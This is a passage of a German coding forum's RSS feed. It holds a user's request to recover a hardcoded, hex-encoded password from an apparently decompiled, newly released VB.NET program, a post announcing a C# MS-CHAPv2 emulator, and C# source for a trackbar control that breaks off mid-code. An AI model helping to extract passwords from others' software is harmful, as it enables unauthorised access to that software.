	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"> Dim password As String = Me.AscToString(New Object() { &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63, &amp;H63 })</code><hr />
</div>wird password ja deklariert.<br />
Aber weiß einer wie ich nun ans Passwort ran komme? Bin am verzweifeln. Habe schon nach sämtlichen Zeug bei Google gesucht aber nichts gefunden.<br />
<br />
Hoffe mir kann jemand helfen. :P<br />
<br />
//Edit:<br />
<br />
Da steht zwar, dass das Passwort passwort131 sein soll aber das funktioniert nicht.<br />
Und das Programm ist erst vor ein paar Stunden veröffentlicht worden. :)<br />
<br />
Gruß.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Gangstersheep</dc:creator>
			<guid isPermaLink="true">showroom-102/wer-kann-mir-helfen-31557</guid>
		</item>
		<item>
			<title>MS-CHAP V2 Implementierung</title>
			<link>showroom-102/ms-chap-v2-implementierung-31260?goto=newpost</link>
			<pubDate>Tue, 03 Jan 2012 16:45:45 GMT</pubDate>
			<description>Hatte vor langer Zeit (2 Jahre oder so?) mal das Prinzip von MS-CHAP-V2 in C# nachvollzogen. 
 
Hier (auf Anfrage per PN) mal das gesamte Projekt als...</description>
			<content:encoded><![CDATA[<div>Hatte vor langer Zeit (2 Jahre oder so?) mal das Prinzip von MS-CHAP-V2 in C# nachvollzogen.<br />
<br />
Hier (auf Anfrage per PN) mal das gesamte Projekt als Projektmappe:<br />
<br />
<a href="http://k-scene.net/dev_file_hosting/MS-CHAPv2%20Emulator.rar" target="_blank" rel="nofollow">MS-CHAPv2 Emulator.rar<br />
</a> <br />
Weiterführendes:<br />
<a href="http://de.wikipedia.org/wiki/Challenge_Handshake_Authentication_Protocol" target="_blank" rel="nofollow">Challenge Handshake Authentication Protocol</a><br />
<a href="http://www.elektronik-kompendium.de/sites/net/0906181.htm" target="_blank" rel="nofollow">MS-CHAP - Microsoft CHAP</a><br />
<a href="http://technet.microsoft.com/de-de/library/cc731462%28WS.10%29.aspx" target="_blank" rel="nofollow">MS-CHAP v2</a><br />
<br />
Screen:<br />
<br />
<img src="http://www.imgbox.de/users/mibotDotUs/mework/ms_chap_v2_emulator.gif" border="0" alt="" /></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Sky.NET</dc:creator>
			<guid isPermaLink="true">showroom-102/ms-chap-v2-implementierung-31260</guid>
		</item>
		<item>
			<title>Colorslider (Trackbar modifiziert)</title>
			<link>showroom-102/colorslider-trackbar-modifiziert-31391?goto=newpost</link>
			<pubDate>Tue, 03 Jan 2012 07:59:39 GMT</pubDate>
			<description>Hey, 
 
habe dieses Control vor ca. einem Jahr in Google gefunden. Keine Ahnung von wem das ist.  
 
Anhang 7370...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
<br />
habe dieses Control vor ca. einem Jahr in Google gefunden. Keine Ahnung von wem das ist. <br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7370&amp;d=1395895419" border="0" alt="Name:  unbenannt8zjdf.png
Hits: 207
Größe:  13,6 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<i>Colorslider.cs</i> <input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Drawing</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Windows</span><span style="color: #007700">.</span><span style="color: #0000BB">Forms</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">ComponentModel</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Drawing</span><span style="color: #007700">.</span><span style="color: #0000BB">Drawing2D</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">MB</span><span style="color: #007700">.</span><span style="color: #0000BB">Controls<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Encapsulates&nbsp;control&nbsp;that&nbsp;visualy&nbsp;displays&nbsp;certain&nbsp;integer&nbsp;value&nbsp;and&nbsp;allows&nbsp;user&nbsp;to&nbsp;change&nbsp;it&nbsp;within&nbsp;desired&nbsp;range.&nbsp;It&nbsp;imitates&nbsp;&lt;see&nbsp;cref="System.Windows.Forms.TrackBar"/&gt;&nbsp;as&nbsp;far&nbsp;as&nbsp;mouse&nbsp;usage&nbsp;is&nbsp;concerned.<br />&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">ToolboxBitmap</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">TrackBar</span><span style="color: #007700">))&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultEvent</span><span style="color: #007700">(</span><span style="color: #DD0000">"Scroll"</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">DefaultProperty</span><span style="color: #007700">(</span><span style="color: #DD0000">"BarInnerColor"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">partial&nbsp;</span><span style="color: #007700">class&nbsp;</span><span style="color: #0000BB">ColorSlider&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">Control<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#region&nbsp;Events<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Fires&nbsp;when&nbsp;Slider&nbsp;position&nbsp;has&nbsp;changed<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Event&nbsp;fires&nbsp;when&nbsp;the&nbsp;Value&nbsp;property&nbsp;changes"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"Action"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">event&nbsp;EventHandler&nbsp;ValueChanged</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Fires&nbsp;when&nbsp;user&nbsp;scrolls&nbsp;the&nbsp;Slider<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Event&nbsp;fires&nbsp;when&nbsp;the&nbsp;Slider&nbsp;position&nbsp;is&nbsp;changed"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"Behavior"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">event&nbsp;ScrollEventHandler&nbsp;Scroll</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#endregion<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;Properties<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">Rectangle&nbsp;thumbRect</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//bounding&nbsp;rectangle&nbsp;of&nbsp;thumb&nbsp;area<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;the&nbsp;thumb&nbsp;rect.&nbsp;Usefull&nbsp;to&nbsp;determine&nbsp;bounding&nbsp;rectangle&nbsp;when&nbsp;creating&nbsp;custom&nbsp;thumb&nbsp;shape.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;thumb&nbsp;rect.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Browsable</span><span style="color: #007700">(</span><span style="color: #0000BB">false</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Rectangle&nbsp;ThumbRect<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">thumbRect</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Rectangle&nbsp;barRect</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//bounding&nbsp;rectangle&nbsp;of&nbsp;bar&nbsp;area<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">Rectangle&nbsp;barHalfRect</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Rectangle&nbsp;thumbHalfRect</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Rectangle&nbsp;elapsedRect</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//bounding&nbsp;rectangle&nbsp;of&nbsp;elapsed&nbsp;area<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">int&nbsp;thumbSize&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">15</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;size&nbsp;of&nbsp;the&nbsp;thumb.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;size&nbsp;of&nbsp;the&nbsp;thumb.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;exception&nbsp;cref="T:System.ArgumentOutOfRangeException"&gt;exception&nbsp;thrown&nbsp;when&nbsp;value&nbsp;is&nbsp;lower&nbsp;than&nbsp;zero&nbsp;or&nbsp;grather&nbsp;than&nbsp;half&nbsp;of&nbsp;appropiate&nbsp;dimension&lt;/exception&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider&nbsp;thumb&nbsp;size"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">15</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;ThumbSize<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">thumbSize</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">0&nbsp;</span><span style="color: #007700">&amp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&lt;&nbsp;(</span><span style="color: #0000BB">barOrientation&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">Orientation</span><span style="color: #007700">.</span><span style="color: #0000BB">Horizontal&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #0000BB">ClientRectangle</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">ClientRectangle</span><span style="color: #007700">.</span><span style="color: #0000BB">Height</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbSize&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw&nbsp;new&nbsp;</span><span style="color: #0000BB">ArgumentOutOfRangeException</span><span style="color: #007700">(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">"TrackSize&nbsp;has&nbsp;to&nbsp;be&nbsp;greather&nbsp;than&nbsp;zero&nbsp;and&nbsp;lower&nbsp;than&nbsp;half&nbsp;of&nbsp;Slider&nbsp;width"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">GraphicsPath&nbsp;thumbCustomShape&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;thumb&nbsp;custom&nbsp;shape.&nbsp;Use&nbsp;ThumbRect&nbsp;property&nbsp;to&nbsp;determine&nbsp;bounding&nbsp;rectangle.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;thumb&nbsp;custom&nbsp;shape.&nbsp;null&nbsp;means&nbsp;default&nbsp;shape&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider's&nbsp;thumb's&nbsp;custom&nbsp;shape"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Browsable</span><span style="color: #007700">(</span><span style="color: #0000BB">false</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">GraphicsPath</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"null"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">GraphicsPath&nbsp;ThumbCustomShape<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">thumbCustomShape</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbCustomShape&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbSize&nbsp;</span><span style="color: #007700">=&nbsp;(int)&nbsp;(</span><span style="color: #0000BB">barOrientation&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">Orientation</span><span style="color: #007700">.</span><span style="color: #0000BB">Horizontal&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">.</span><span style="color: #0000BB">GetBounds</span><span style="color: #007700">().</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">.</span><span style="color: #0000BB">GetBounds</span><span style="color: #007700">().</span><span style="color: #0000BB">Height</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Size&nbsp;thumbRoundRectSize&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Size</span><span style="color: #007700">(</span><span style="color: #0000BB">8</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;size&nbsp;of&nbsp;the&nbsp;thumb&nbsp;round&nbsp;rectangle&nbsp;edges.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;size&nbsp;of&nbsp;the&nbsp;thumb&nbsp;round&nbsp;rectangle&nbsp;edges.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider's&nbsp;thumb&nbsp;round&nbsp;rect&nbsp;size"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">Size</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"8;&nbsp;8"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Size&nbsp;ThumbRoundRectSize<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">thumbRoundRectSize</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;h&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">.</span><span style="color: #0000BB">Height</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">w&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">.</span><span style="color: #0000BB">Width</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">h&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">h&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">w&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">w&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbRoundRectSize&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: 